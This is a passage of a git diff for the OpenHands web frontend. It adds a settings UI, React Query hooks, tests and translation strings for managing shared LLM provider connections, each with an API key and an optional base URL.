    ); diff --git a/src/components/features/settings/llm-profiles/provider-connection-modal.tsx b/src/components/features/settings/llm-profiles/provider-connection-modal.tsx new file mode 100644 index 000000000000..606697e23afa --- /dev/null +++ b/src/components/features/settings/llm-profiles/provider-connection-modal.tsx @@ -0,0 +1,206 @@ +import { useEffect, useRef, useState } from "react"; +import { useTranslation } from "react-i18next"; +import { BrandButton } from "#/components/features/settings/brand-button"; +import { SettingsInput } from "#/components/features/settings/settings-input"; +import { KeyStatusIcon } from "#/components/features/settings/key-status-icon"; +import { LoadingSpinner } from "#/components/shared/loading-spinner"; +import { ApiKeyModalBase } from "#/components/features/settings/api-key-modal-base"; +import type { ProviderConnection } from "#/api/provider-connections-service/provider-connections-service.api"; +import { useCreateProviderConnection } from "#/hooks/mutation/use-create-provider-connection"; +import { useUpdateProviderConnection } from "#/hooks/mutation/use-update-provider-connection"; +import { + displayErrorToast, + displaySuccessToast, +} from "#/utils/custom-toast-handlers"; +import { getApiErrorMessage } from "#/utils/api-error-message"; +import { I18nKey } from "#/i18n/declaration"; + +const DEFAULT_PROVIDER = "custom"; + +interface ProviderConnectionModalProps { + /** When `null` the modal is closed; otherwise it edits that connection. */ + connection?: ProviderConnection | null; + /** When true the modal creates a new connection. */ + isCreate: boolean; + onClose: () => void; + /** Called with the saved connection so a caller can select it (create flow). */ + onSaved?: (connection: ProviderConnection) => void; +} + +/** + * Single modal for creating, editing, and rotating a provider connection. Create + * is a POST; every edit (rename, base_url, key rotation) is a single PATCH. The + * key field follows the same "empty means unchanged" convention as the profile + * form, so a blank key on edit is simply omitted from the request — the + * agent-server rejects `api_key: null`, so we never send it. + */ +export function ProviderConnectionModal({ + connection, + isCreate, + onClose, + onSaved, +}: ProviderConnectionModalProps) { + const { t } = useTranslation("openhands"); + const createConnection = useCreateProviderConnection(); + const updateConnection = useUpdateProviderConnection(); + const firstFieldRef = useRef(null); + + const [displayName, setDisplayName] = useState(""); + const [provider, setProvider] = useState(DEFAULT_PROVIDER); + const [apiKey, setApiKey] = useState(""); + const [baseUrl, setBaseUrl] = useState(""); + + const isOpen = isCreate || Boolean(connection); + const keyAlreadySet = Boolean(connection?.api_key_set); + + useEffect(() => { + setDisplayName(connection?.display_name ?? ""); + setProvider(connection?.provider ?? DEFAULT_PROVIDER); + setBaseUrl(connection?.base_url ?? ""); + setApiKey(""); + }, [connection, isCreate]); + + const isPending = createConnection.isPending || updateConnection.isPending; + const trimmedName = displayName.trim(); + const trimmedKey = apiKey.trim(); + // On create the key is required; on edit an empty key means "leave unchanged". + const isValid = Boolean(trimmedName) && (!isCreate || Boolean(trimmedKey)); + + if (!isOpen) return null; + + const handleClose = () => { + if (!isPending) onClose(); + }; + + const handleSubmit = async () => { + if (!isValid || isPending) return; + const trimmedBaseUrl = baseUrl.trim(); + + try { + if (isCreate) { + const created = await createConnection.mutateAsync({ + display_name: trimmedName, + provider: provider.trim() || DEFAULT_PROVIDER, + api_key: trimmedKey, + base_url: trimmedBaseUrl || null, + }); + displaySuccessToast( + t(I18nKey.SETTINGS$PROVIDER_CONNECTION_CREATED, { + name: created.display_name, + }), + ); + onSaved?.(created); + } else if (connection) { + const updated = await updateConnection.mutateAsync({ + id: connection.id, + request: { + display_name: trimmedName, + provider: provider.trim() || DEFAULT_PROVIDER, + base_url: trimmedBaseUrl || null, + // Omit the key entirely when left blank so the stored key is kept. + ...(trimmedKey ? { api_key: trimmedKey } : {}), + }, + }); + displaySuccessToast( + t(I18nKey.SETTINGS$PROVIDER_CONNECTION_UPDATED, { + name: updated.display_name, + }), + ); + onSaved?.(updated); + } + onClose(); + } catch (error) { + displayErrorToast(getApiErrorMessage(error, t(I18nKey.ERROR$GENERIC))); + } + }; + + const footer = ( + <> + + {t(I18nKey.BUTTON$CANCEL)} + + + {isPending ? : t(I18nKey.BUTTON$SAVE)} + + + ); + + return ( + +
    + + + " : ""} + onChange={setApiKey} + startContent={ + keyAlreadySet ? : undefined + } + hint={ + keyAlreadySet + ? t(I18nKey.SETTINGS$PROVIDER_CONNECTION_ROTATE_HINT) + : undefined + } + /> + +
    +
    + ); +} diff --git a/src/components/features/settings/llm-profiles/provider-connection-row.tsx b/src/components/features/settings/llm-profiles/provider-connection-row.tsx new file mode 100644 index 000000000000..befcb462ecf8 --- /dev/null +++ b/src/components/features/settings/llm-profiles/provider-connection-row.tsx @@ -0,0 +1,73 @@ +import { useTranslation } from "react-i18next"; +import EditIcon from "#/icons/u-edit.svg?react"; +import DeleteIcon from "#/icons/u-delete.svg?react"; +import { KeyStatusIcon } from "#/components/features/settings/key-status-icon"; +import type { ProviderConnection } from "#/api/provider-connections-service/provider-connections-service.api"; +import { cn } from "#/utils/utils"; +import { + settingsListIconActionButtonClassName, + settingsListRowClassName, +} from "#/utils/settings-list-classes"; +import { I18nKey } from "#/i18n/declaration"; + +interface ProviderConnectionRowProps { + connection: ProviderConnection; + /** Number of LLM profiles linked to this connection. */ + linkedProfileCount: number; + onEdit: (connection: ProviderConnection) => void; + onDelete: (connection: ProviderConnection) => void; +} + +export function ProviderConnectionRow({ + connection, + linkedProfileCount, + onEdit, + onDelete, +}: ProviderConnectionRowProps) { + const { t } = useTranslation("openhands"); + + return ( +
    +
    + + {connection.display_name} + + + {connection.provider} + + + {t(I18nKey.SETTINGS$PROVIDER_CONNECTION_MODEL_COUNT, { + count: linkedProfileCount, + })} + + +
    +
    + + +
    +
    + ); +} diff --git a/src/components/features/settings/llm-profiles/provider-connections-manager.test.tsx b/src/components/features/settings/llm-profiles/provider-connections-manager.test.tsx new file mode 100644 index 000000000000..9761382ec557 --- /dev/null +++ b/src/components/features/settings/llm-profiles/provider-connections-manager.test.tsx @@ -0,0 +1,98 @@ +import { screen, fireEvent, waitFor } from "@testing-library/react"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { renderWithProviders } from "test-utils"; +import ProviderConnectionsService, { + type ProviderConnection, +} from "#/api/provider-connections-service/provider-connections-service.api"; +import { ProviderConnectionsManager } from "./provider-connections-manager"; + +const displayErrorToast = vi.hoisted(() => vi.fn()); +const displaySuccessToast = vi.hoisted(() => vi.fn()); + +vi.mock("#/utils/custom-toast-handlers", () => ({ + displayErrorToast, + displaySuccessToast, +})); + +const renderWith = (ui: React.ReactElement) => renderWithProviders(ui); + +const connection: ProviderConnection = { + id: "conn-1", + display_name: "My OpenAI", + provider: "openai", + base_url: null, + created_at: 1, + updated_at: 2, + api_key_set: true, +}; + +describe("ProviderConnectionsManager", () => { + beforeEach(() => { + displayErrorToast.mockReset(); + displaySuccessToast.mockReset(); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + it("shows an empty state when there are no connections", () => { + renderWith( + , + ); + + expect( + screen.getByTestId("provider-connections-empty"), + ).toBeInTheDocument(); + }); + + it("lists a row per connection with its display name and provider", () => { + renderWith( + , + ); + + expect(screen.getByTestId("provider-connection-row")).toBeInTheDocument(); + expect(screen.getByText("My OpenAI")).toBeInTheDocument(); + expect(screen.getByText("openai")).toBeInTheDocument(); + }); + + it("surfaces the server message when deleting a referenced connection fails", async () => { + const conflict = Object.assign(new Error("HTTP 409"), { + response: { + detail: "Connection is used by profile 'gpt-4o'.", + }, + }); + const deleteSpy = vi + .spyOn(ProviderConnectionsService, "delete") + .mockRejectedValue(conflict); + + renderWith( + , + ); + + fireEvent.click(screen.getByTestId("provider-connection-delete")); + fireEvent.click(screen.getByTestId("delete-provider-connection-confirm")); + + await waitFor(() => { + expect(displayErrorToast).toHaveBeenCalledWith( + "Connection is used by profile 'gpt-4o'.", + ); + }); + expect(deleteSpy).toHaveBeenCalledWith("conn-1"); + }); +}); diff --git a/src/components/features/settings/llm-profiles/provider-connections-manager.tsx b/src/components/features/settings/llm-profiles/provider-connections-manager.tsx new file mode 100644 index 000000000000..bae33195ca17 --- /dev/null +++ b/src/components/features/settings/llm-profiles/provider-connections-manager.tsx @@ -0,0 +1,134 @@ +import { useState } from "react"; +import { useTranslation } from "react-i18next"; +import { BrandButton } from "#/components/features/settings/brand-button"; +import { ProviderConnectionRow } from "./provider-connection-row"; +import { ProviderConnectionModal } from "./provider-connection-modal"; +import { DeleteProviderConnectionModal } from "./delete-provider-connection-modal"; +import type { ProviderConnection } from "#/api/provider-connections-service/provider-connections-service.api"; +import { cn } from "#/utils/utils"; +import { + settingsListContainerClassName, + settingsListDividerClassName, +} from "#/utils/settings-list-classes"; +import { extensionModuleEmptyStateClassName } from "#/utils/extension-module-card-classes"; +import { I18nKey } from "#/i18n/declaration"; + +interface ProviderConnectionsManagerProps { + connections: ProviderConnection[]; + /** Number of LLM profiles linked to each connection id. */ + linkedCountById: Record; + isLoading: boolean; + loadError: Error | null; +} + +/** + * Manages shared provider connections: a shared API key + optional base URL + * that LLM profiles reference by id. Rendered only for the local agent-server, + * which is the only backend exposing the endpoints. + */ +export function ProviderConnectionsManager({ + connections, + linkedCountById, + isLoading, + loadError, +}: ProviderConnectionsManagerProps) { + const { t } = useTranslation("openhands"); + const [isCreating, setIsCreating] = useState(false); + const [connectionToEdit, setConnectionToEdit] = + useState(null); + const [connectionToDelete, setConnectionToDelete] = + useState(null); + + const renderBody = () => { + if (isLoading) return null; + + if (loadError) { + return ( +
    +

    + {t(I18nKey.SETTINGS$PROVIDER_CONNECTIONS_LOAD_ERROR)} +

    +
    + ); + } + + if (connections.length === 0) { + return ( +
    +

    + {t(I18nKey.SETTINGS$PROVIDER_CONNECTIONS_EMPTY)} +

    +
    + ); + } + + return ( +
    + {connections.map((connection) => ( + + ))} +
    + ); + }; + + return ( + <> +
    +
    +
    +

    + {t(I18nKey.SETTINGS$PROVIDER_CONNECTIONS_TITLE)} +

    +

    + {t(I18nKey.SETTINGS$PROVIDER_CONNECTIONS_SUBLINE)} +

    +
    + setIsCreating(true)} + > + {t(I18nKey.SETTINGS$PROVIDER_CONNECTION_ADD)} + +
    + + {renderBody()} +
    + + {isCreating && ( + setIsCreating(false)} + /> + )} + setConnectionToEdit(null)} + /> + setConnectionToDelete(null)} + /> + + ); +} diff --git a/src/hooks/mutation/use-create-provider-connection.ts b/src/hooks/mutation/use-create-provider-connection.ts new file mode 100644 index 000000000000..96fc4a1c49ee --- /dev/null +++ b/src/hooks/mutation/use-create-provider-connection.ts @@ -0,0 +1,21 @@ +import { useMutation, useQueryClient } from "@tanstack/react-query"; +import ProviderConnectionsService, { + type CreateProviderConnectionRequest, +} from "#/api/provider-connections-service/provider-connections-service.api"; +import { PROVIDER_CONNECTIONS_QUERY_KEYS } from "#/hooks/query/query-keys"; + +export function useCreateProviderConnection() { + const queryClient = useQueryClient(); + + return useMutation({ + mutationFn: (request: CreateProviderConnectionRequest) => + ProviderConnectionsService.create(request), + onSuccess: async () => { + await queryClient.invalidateQueries({ + queryKey: PROVIDER_CONNECTIONS_QUERY_KEYS.all, + }); + }, + // Consumers handle errors with try-catch and manual toasts. + meta: { disableToast: true }, + }); +} diff --git a/src/hooks/mutation/use-delete-provider-connection.ts b/src/hooks/mutation/use-delete-provider-connection.ts new file mode 100644 index 000000000000..b265df43a675 --- /dev/null +++ b/src/hooks/mutation/use-delete-provider-connection.ts @@ -0,0 +1,25 @@ +import { useMutation, useQueryClient } from "@tanstack/react-query"; +import ProviderConnectionsService from "#/api/provider-connections-service/provider-connections-service.api"; +import { + LLM_PROFILES_QUERY_KEYS, + PROVIDER_CONNECTIONS_QUERY_KEYS, +} from "#/hooks/query/query-keys"; + +export function useDeleteProviderConnection() { + const queryClient = useQueryClient(); + + return useMutation({ + mutationFn: (id: string) => ProviderConnectionsService.delete(id), + onSuccess: async () => { + await queryClient.invalidateQueries({ + queryKey: PROVIDER_CONNECTIONS_QUERY_KEYS.all, + }); + await queryClient.invalidateQueries({ + queryKey: LLM_PROFILES_QUERY_KEYS.all, + }); + }, + // Consumers handle errors with try-catch and manual toasts (e.g. the 409 + // returned when a profile still references the connection). + meta: { disableToast: true }, + }); +} diff --git a/src/hooks/mutation/use-update-provider-connection.ts b/src/hooks/mutation/use-update-provider-connection.ts new file mode 100644 index 000000000000..5b50842c59a9 --- /dev/null +++ b/src/hooks/mutation/use-update-provider-connection.ts @@ -0,0 +1,34 @@ +import { useMutation, useQueryClient } from "@tanstack/react-query"; +import ProviderConnectionsService, { + type UpdateProviderConnectionRequest, +} from "#/api/provider-connections-service/provider-connections-service.api"; +import { + LLM_PROFILES_QUERY_KEYS, + PROVIDER_CONNECTIONS_QUERY_KEYS, +} from "#/hooks/query/query-keys"; + +interface UpdateProviderConnectionVariables { + id: string; + request: UpdateProviderConnectionRequest; +} + +export function useUpdateProviderConnection() { + const queryClient = useQueryClient(); + + return useMutation({ + mutationFn: ({ id, request }: UpdateProviderConnectionVariables) => + ProviderConnectionsService.update(id, request), + onSuccess: async () => { + await queryClient.invalidateQueries({ + queryKey: PROVIDER_CONNECTIONS_QUERY_KEYS.all, + }); + // Linked profiles report the connection's key presence via `api_key_set`, + // so refresh the profile list too after a rotation or rename. + await queryClient.invalidateQueries({ + queryKey: LLM_PROFILES_QUERY_KEYS.all, + }); + }, + // Consumers handle errors with try-catch and manual toasts. + meta: { disableToast: true }, + }); +} diff --git a/src/hooks/query/query-keys.ts b/src/hooks/query/query-keys.ts index 69e8bdb1757c..533eeed5a850 100644 --- a/src/hooks/query/query-keys.ts +++ b/src/hooks/query/query-keys.ts @@ -26,6 +26,10 @@ export const AGENT_PROFILES_QUERY_KEYS = { all: ["agent-profiles"] as const, } as const; +export const PROVIDER_CONNECTIONS_QUERY_KEYS = { + all: ["provider-connections"] as const, +} as const; + /** Fail fast when older backends lack the profile endpoint. */ export const AGENT_PROFILES_RETRY_OPTIONS = { retry: false, diff --git a/src/hooks/query/use-provider-connections.ts b/src/hooks/query/use-provider-connections.ts new file mode 100644 index 000000000000..9fa3bad1656d --- /dev/null +++ b/src/hooks/query/use-provider-connections.ts @@ -0,0 +1,27 @@ +import { useQuery } from "@tanstack/react-query"; +import ProviderConnectionsService from "#/api/provider-connections-service/provider-connections-service.api"; +import { useActiveBackend } from "#/contexts/active-backend-context"; +import { + CONFIG_CACHE_OPTIONS, + PROVIDER_CONNECTIONS_QUERY_KEYS, +} from "./query-keys"; + +export { PROVIDER_CONNECTIONS_QUERY_KEYS }; + +/** + * Provider connections live only on the local agent-server. On cloud backends + * the query stays disabled and returns no data, so the connections UI hides + * itself rather than firing a request that would 404. + */ +export function useProviderConnections() { + const { backend } = useActiveBackend(); + const isLocal = backend.kind === "local"; + + return useQuery({ + queryKey: [...PROVIDER_CONNECTIONS_QUERY_KEYS.all, backend.id], + queryFn: ProviderConnectionsService.list, + ...CONFIG_CACHE_OPTIONS, + enabled: isLocal, + meta: { disableToast: true }, + }); +} diff --git a/src/i18n/translation.json b/src/i18n/translation.json index a698002aea3d..e6e6d77eb03a 100644 --- a/src/i18n/translation.json +++ b/src/i18n/translation.json @@ -38928,5 +38928,328 @@ "ca": "Cada {{count}}s", "tr": "Her {{count}}sn", "uk": "Кожні {{count}} с" + }, + "SETTINGS$PROFILES_UNGROUPED": { + "ar": "غير مرتبط", + "ca": "No enllaçat", + "de": "Nicht verknüpft", + "en": "Not linked", + "es": "Sin vincular", + "fr": "Non lié", + "it": "Non collegato", + "ja": "未リンク", + "ko-KR": "연결 안 됨", + "no": "Ikke koblet", + "pt": "Não vinculado", + "tr": "Bağlı değil", + "uk": "Не пов'язано", + "zh-CN": "未关联", + "zh-TW": "未關聯" + }, + "SETTINGS$PROFILE_BROKEN_CONNECTION": { + "en": "Broken link", + "ja": "リンク切れ", + "zh-CN": "链接失效", + "zh-TW": "連結失效", + "ko-KR": "연결 끊김", + "no": "Brutt lenke", + "it": "Collegamento interrotto", + "pt": "Link quebrado", + "es": "Enlace roto", + "ar": "رابط معطل", + "fr": "Lien rompu", + "tr": "Bozuk bağlantı", + "de": "Defekter Link", + "uk": "Зламане посилання", + "ca": "Enllaç trencat" + }, + "SETTINGS$PROFILE_BROKEN_CONNECTION_TOOLTIP": { + "en": "The linked provider connection was deleted. Edit this profile to re-link it.", + "ja": "リンクされたプロバイダ接続が削除されました。このプロファイルを編集して再リンクしてください。", + "zh-CN": "关联的提供商连接已被删除。请编辑此配置文件以重新链接。", + "zh-TW": "關聯的提供商連接已被刪除。請編輯此設定檔以重新連結。", + "ko-KR": "연결된 제공자 연결이 삭제되었습니다. 이 프로필을 편집하여 다시 연결하세요.", + "no": "Den tilknyttede leverandørforbindelsen ble slettet. Rediger denne profilen for å koble den til igjen.", + "it": "Il collegamento al provider è stato eliminato. Modifica questo profilo per ricollegerlo.", + "pt": "A conexão do provedor vinculada foi excluída. Edite este perfil para reconectá-lo.", + "es": "La conexión del proveedor vinculada fue eliminada. Edita este perfil para volver a vincularlo.", + "ar": "تم حذف اتصال المزود المرتبط. قم بتحرير هذا الملف الشخصي لإعادة ربطه.", + "fr": "La connexion fournisseur liée a été supprimée. Modifiez ce profil pour le lier à nouveau.", + "tr": "Bağlı sağlayıcı bağlantısı silindi. Yeniden bağlamak için bu profili düzenleyin.", + "de": "Die verknüpfte Anbieterverbindung wurde gelöscht. Bearbeite dieses Profil, um es erneut zu verknüpfen.", + "uk": "Пов'язане підключення до постачальника було видалено. Відредагуйте цей профіль, щоб знову зв'язати його.", + "ca": "La connexió del proveïdor vinculada va ser eliminada. Edita aquest perfil per tornar-lo a vincular." + }, + "SETTINGS$PROVIDER_CONNECTIONS_EMPTY": { + "ar": "لا توجد اتصالات مزود بعد. أضف واحدًا لمشاركة مفتاح API عبر النماذج.", + "ca": "Encara no hi ha connexions de proveïdor. Afegeix-ne una per compartir una clau API entre models.", + "de": "Noch keine Anbieterverbindungen. Fügen Sie eine hinzu, um einen API-Schlüssel für mehrere Modelle zu nutzen.", + "en": "No provider connections yet. Add one to share an API key across models.", + "es": "Aún no hay conexiones de proveedor. Añade una para compartir una clave de API entre modelos.", + "fr": "Aucune connexion de fournisseur pour l'instant. Ajoutez-en une pour partager une clé API entre les modèles.", + "it": "Nessuna connessione provider. Aggiungine una per condividere una chiave API tra i modelli.", + "ja": "プロバイダー接続はまだありません。モデル間でAPIキーを共有するには追加してください。", + "ko-KR": "아직 공급자 연결이 없습니다. 모델 간에 API 키를 공유하려면 추가하세요.", + "no": "Ingen leverandørtilkoblinger ennå. Legg til én for å dele en API-nøkkel mellom modeller.", + "pt": "Nenhuma conexão de provedor ainda. Adicione uma para compartilhar uma chave de API entre modelos.", + "tr": "Henüz sağlayıcı bağlantısı yok. Modeller arasında bir API anahtarı paylaşmak için ekleyin.", + "uk": "Ще немає підключень постачальників. Додайте одне, щоб спільно використовувати ключ API для моделей.", + "zh-CN": "尚无提供商连接。添加一个以在模型之间共享 API 密钥。", + "zh-TW": "尚無提供者連線。新增一個以在模型之間共用 API 金鑰。" + }, + "SETTINGS$PROVIDER_CONNECTIONS_LOAD_ERROR": { + "ar": "فشل تحميل اتصالات المزود.", + "ca": "No s'han pogut carregar les connexions de proveïdor.", + "de": "Anbieterverbindungen konnten nicht geladen werden.", + "en": "Failed to load provider connections.", + "es": "No se pudieron cargar las conexiones de proveedor.", + "fr": "Échec du chargement des connexions de fournisseur.", + "it": "Impossibile caricare le connessioni provider.", + "ja": "プロバイダー接続の読み込みに失敗しました。", + "ko-KR": "공급자 연결을 불러오지 못했습니다.", + "no": "Kunne ikke laste leverandørtilkoblinger.", + "pt": "Falha ao carregar as conexões de provedor.", + "tr": "Sağlayıcı bağlantıları yüklenemedi.", + "uk": "Не вдалося завантажити підключення постачальників.", + "zh-CN": "加载提供商连接失败。", + "zh-TW": "載入提供者連線失敗。" + }, + "SETTINGS$PROVIDER_CONNECTIONS_SUBLINE": { + "ar": "شارك مفتاح API واحدًا عبر نماذج متعددة.", + "ca": "Comparteix una clau API entre diversos models.", + "de": "Teilen Sie einen API-Schlüssel für mehrere Modelle.", + "en": "Share one API key across multiple models.", + "es": "Comparte una clave de API entre varios modelos.", + "fr": "Partagez une clé API entre plusieurs modèles.", + "it": "Condividi una chiave API tra più modelli.", + "ja": "1つのAPIキーを複数のモデルで共有します。", + "ko-KR": "하나의 API 키를 여러 모델에서 공유합니다.", + "no": "Del én API-nøkkel på tvers av flere modeller.", + "pt": "Compartilhe uma chave de API entre vários modelos.", + "tr": "Bir API anahtarını birden fazla modelde paylaşın.", + "uk": "Спільно використовуйте один ключ API для кількох моделей.", + "zh-CN": "在多个模型之间共享一个 API 密钥。", + "zh-TW": "在多個模型之間共用一個 API 金鑰。" + }, + "SETTINGS$PROVIDER_CONNECTIONS_TITLE": { + "ar": "اتصالات المزود", + "ca": "Connexions de proveïdor", + "de": "Anbieterverbindungen", + "en": "Provider connections", + "es": "Conexiones de proveedor", + "fr": "Connexions de fournisseur", + "it": "Connessioni provider", + "ja": "プロバイダー接続", + "ko-KR": "공급자 연결", + "no": "Leverandørtilkoblinger", + "pt": "Conexões de provedor", + "tr": "Sağlayıcı bağlantıları", + "uk": "Підключення постачальників", + "zh-CN": "提供商连接", + "zh-TW": "提供者連線" + }, + "SETTINGS$PROVIDER_CONNECTION_ADD": { + "ar": "إضافة اتصال", + "ca": "Afegeix una connexió", + "de": "Verbindung hinzufügen", + "en": "Add connection", + "es": "Añadir conexión", + "fr": "Ajouter une connexion", + "it": "Aggiungi connessione", + "ja": "接続を追加", + "ko-KR": "연결 추가", + "no": "Legg til tilkobling", + "pt": "Adicionar conexão", + "tr": "Bağlantı ekle", + "uk": "Додати підключення", + "zh-CN": "添加连接", + "zh-TW": "新增連線" + }, + "SETTINGS$PROVIDER_CONNECTION_ADD_TITLE": { + "ar": "إضافة اتصال المزود", + "ca": "Afegeix una connexió de proveïdor", + "de": "Anbieterverbindung hinzufügen", + "en": "Add provider connection", + "es": "Añadir conexión de proveedor", + "fr": "Ajouter une connexion de fournisseur", + "it": "Aggiungi connessione provider", + "ja": "プロバイダー接続を追加", + "ko-KR": "공급자 연결 추가", + "no": "Legg til leverandørtilkobling", + "pt": "Adicionar conexão de provedor", + "tr": "Sağlayıcı bağlantısı ekle", + "uk": "Додати підключення постачальника", + "zh-CN": "添加提供商连接", + "zh-TW": "新增提供者連線" + }, + "SETTINGS$PROVIDER_CONNECTION_CREATED": { + "ar": "تم إنشاء الاتصال \"{{name}}\"", + "ca": "S'ha creat la connexió \"{{name}}\"", + "de": "Verbindung \"{{name}}\" erstellt", + "en": "Connection \"{{name}}\" created", + "es": "Conexión \"{{name}}\" creada", + "fr": "Connexion « {{name}} » créée", + "it": "Connessione \"{{name}}\" creata", + "ja": "接続「{{name}}」を作成しました", + "ko-KR": "\"{{name}}\" 연결이 생성되었습니다", + "no": "Tilkoblingen «{{name}}» ble opprettet", + "pt": "Conexão \"{{name}}\" criada", + "tr": "\"{{name}}\" bağlantısı oluşturuldu", + "uk": "Підключення \"{{name}}\" створено", + "zh-CN": "已创建连接“{{name}}”", + "zh-TW": "已建立連線「{{name}}」" + }, + "SETTINGS$PROVIDER_CONNECTION_DELETED": { + "ar": "تم حذف الاتصال \"{{name}}\"", + "ca": "S'ha eliminat la connexió \"{{name}}\"", + "de": "Verbindung \"{{name}}\" gelöscht", + "en": "Connection \"{{name}}\" deleted", + "es": "Conexión \"{{name}}\" eliminada", + "fr": "Connexion « {{name}} » supprimée", + "it": "Connessione \"{{name}}\" eliminata", + "ja": "接続「{{name}}」を削除しました", + "ko-KR": "\"{{name}}\" 연결이 삭제되었습니다", + "no": "Tilkoblingen «{{name}}» ble slettet", + "pt": "Conexão \"{{name}}\" excluída", + "tr": "\"{{name}}\" bağlantısı silindi", + "uk": "Підключення \"{{name}}\" видалено", + "zh-CN": "已删除连接“{{name}}”", + "zh-TW": "已刪除連線「{{name}}」" + }, + "SETTINGS$PROVIDER_CONNECTION_DELETE_CONFIRMATION": { + "ar": "هل أنت متأكد أنك تريد حذف الاتصال \"{{name}}\"؟", + "ca": "Segur que voleu eliminar la connexió \"{{name}}\"?", + "de": "Möchten Sie die Verbindung \"{{name}}\" wirklich löschen?", + "en": "Are you sure you want to delete the connection \"{{name}}\"?", + "es": "¿Seguro que quieres eliminar la conexión \"{{name}}\"?", + "fr": "Voulez-vous vraiment supprimer la connexion « {{name}} » ?", + "it": "Sei sicuro di voler eliminare la connessione \"{{name}}\"?", + "ja": "接続「{{name}}」を削除してもよろしいですか?", + "ko-KR": "\"{{name}}\" 연결을 삭제하시겠습니까?", + "no": "Er du sikker på at du vil slette tilkoblingen «{{name}}»?", + "pt": "Tem certeza de que deseja excluir a conexão \"{{name}}\"?", + "tr": "\"{{name}}\" bağlantısını silmek istediğinizden emin misiniz?", + "uk": "Ви впевнені, що хочете видалити підключення \"{{name}}\"?", + "zh-CN": "确定要删除连接“{{name}}”吗?", + "zh-TW": "確定要刪除連線「{{name}}」嗎?" + }, + "SETTINGS$PROVIDER_CONNECTION_DELETE_TITLE": { + "ar": "حذف اتصال المزود", + "ca": "Elimina la connexió de proveïdor", + "de": "Anbieterverbindung löschen", + "en": "Delete provider connection", + "es": "Eliminar conexión de proveedor", + "fr": "Supprimer la connexion de fournisseur", + "it": "Elimina connessione provider", + "ja": "プロバイダー接続を削除", + "ko-KR": "공급자 연결 삭제", + "no": "Slett leverandørtilkobling", + "pt": "Excluir conexão de provedor", + "tr": "Sağlayıcı bağlantısını sil", + "uk": "Видалити підключення постачальника", + "zh-CN": "删除提供商连接", + "zh-TW": "刪除提供者連線" + }, + "SETTINGS$PROVIDER_CONNECTION_EDIT_TITLE": { + "ar": "تعديل اتصال المزود", + "ca": "Edita la connexió de proveïdor", + "de": "Anbieterverbindung bearbeiten", + "en": "Edit provider connection", + "es": "Editar conexión de proveedor", + "fr": "Modifier la connexion de fournisseur", + "it": "Modifica connessione provider", + "ja": "プロバイダー接続を編集", + "ko-KR": "공급자 연결 편집", + "no": "Rediger leverandørtilkobling", + "pt": "Editar conexão de provedor", + "tr": "Sağlayıcı bağlantısını düzenle", + "uk": "Редагувати підключення постачальника", + "zh-CN": "编辑提供商连接", + "zh-TW": "編輯提供者連線" + }, + "SETTINGS$PROVIDER_CONNECTION_MODEL_COUNT": { + "ar": "{{count}} نموذج", + "ca": "{{count}} model(s)", + "de": "{{count}} Modell(e)", + "en": "{{count}} model(s)", + "es": "{{count}} modelo(s)", + "fr": "{{count}} modèle(s)", + "it": "{{count}} modello/i", + "ja": "{{count}} モデル", + "ko-KR": "모델 {{count}}개", + "no": "{{count}} modell(er)", + "pt": "{{count}} modelo(s)", + "tr": "{{count}} model", + "uk": "{{count}} модель(ей)", + "zh-CN": "{{count}} 个模型", + "zh-TW": "{{count}} 個模型" + }, + "SETTINGS$PROVIDER_CONNECTION_PROVIDER": { + "ar": "المزود", + "ca": "Proveïdor", + "de": "Anbieter", + "en": "Provider", + "es": "Proveedor", + "fr": "Fournisseur", + "it": "Provider", + "ja": "プロバイダー", + "ko-KR": "공급자", + "no": "Leverandør", + "pt": "Provedor", + "tr": "Sağlayıcı", + "uk": "Постачальник", + "zh-CN": "提供商", + "zh-TW": "提供者" + }, + "SETTINGS$PROVIDER_CONNECTION_ROTATE_HINT": { + "ar": "اتركه فارغًا للاحتفاظ بالمفتاح الحالي.", + "ca": "Deixeu-ho en blanc per conservar la clau actual.", + "de": "Leer lassen, um den aktuellen Schlüssel beizubehalten.", + "en": "Leave blank to keep the current key.", + "es": "Déjalo en blanco para mantener la clave actual.", + "fr": "Laissez vide pour conserver la clé actuelle.", + "it": "Lascia vuoto per mantenere la chiave attuale.", + "ja": "現在のキーを保持するには空白のままにします。", + "ko-KR": "현재 키를 유지하려면 비워 두세요.", + "no": "La stå tom for å beholde gjeldende nøkkel.", + "pt": "Deixe em branco para manter a chave atual.", + "tr": "Mevcut anahtarı korumak için boş bırakın.", + "uk": "Залиште порожнім, щоб зберегти поточний ключ.", + "zh-CN": "留空以保留当前密钥。", + "zh-TW": "留空以保留目前的金鑰。" + }, + "SETTINGS$PROVIDER_CONNECTION_SELECT_LABEL": { + "ar": "اتصال المزود", + "ca": "Connexió de proveïdor", + "de": "Anbieterverbindung", + "en": "Provider connection", + "es": "Conexión de proveedor", + "fr": "Connexion de fournisseur", + "it": "Connessione provider", + "ja": "プロバイダー接続", + "ko-KR": "공급자 연결", + "no": "Leverandørtilkobling", + "pt": "Conexão de provedor", + "tr": "Sağlayıcı bağlantısı", + "uk": "Підключення постачальника", + "zh-CN": "提供商连接", + "zh-TW": "提供者連線" + }, + "SETTINGS$PROVIDER_CONNECTION_UPDATED": { + "ar": "تم تحديث الاتصال \"{{name}}\"", + "ca": "S'ha actualitzat la connexió \"{{name}}\"", + "de": "Verbindung \"{{name}}\" aktualisiert", + "en": "Connection \"{{name}}\" updated", + "es": "Conexión \"{{name}}\" actualizada", + "fr": "Connexion « {{name}} » mise à jour", + "it": "Connessione \"{{name}}\" aggiornata", + "ja": "接続「{{name}}」を更新しました", + "ko-KR": "\"{{name}}\" 연결이 업데이트되었습니다", + "no": "Tilkoblingen «{{name}}» ble oppdatert", + "pt": "Conexão \"{{name}}\" atualizada", + "tr": "\"{{name}}\" bağlantısı güncellendi", + "uk": "Підключення \"{{name}}\" оновлено", + "zh-CN": "已更新连接“{{name}}”", + "zh-TW": "已更新連線「{{name}}」" } } diff --git a/src/routes/llm-settings.tsx b/src/routes/llm-settings.tsx index c8216ee59474..182400dfae09 100644 --- a/src/routes/llm-settings.tsx +++ b/src/routes/llm-settings.tsx @@ -33,15 +33,23 @@ import { resolveLlmAuthType, } from "#/constants/llm-subscription"; import { useOpenAISubscriptionModels } from "#/hooks/query/use-llm-subscription-models"; +import { useProviderConnections } from "#/hooks/query/use-provider-connections"; import { FREE_OPENHANDS_MODEL_NOTE, isFreeOpenHandsModel, } from "#/utils/format-model-name"; +/** Form-values key for the shared provider connection a profile links to. */ +export const 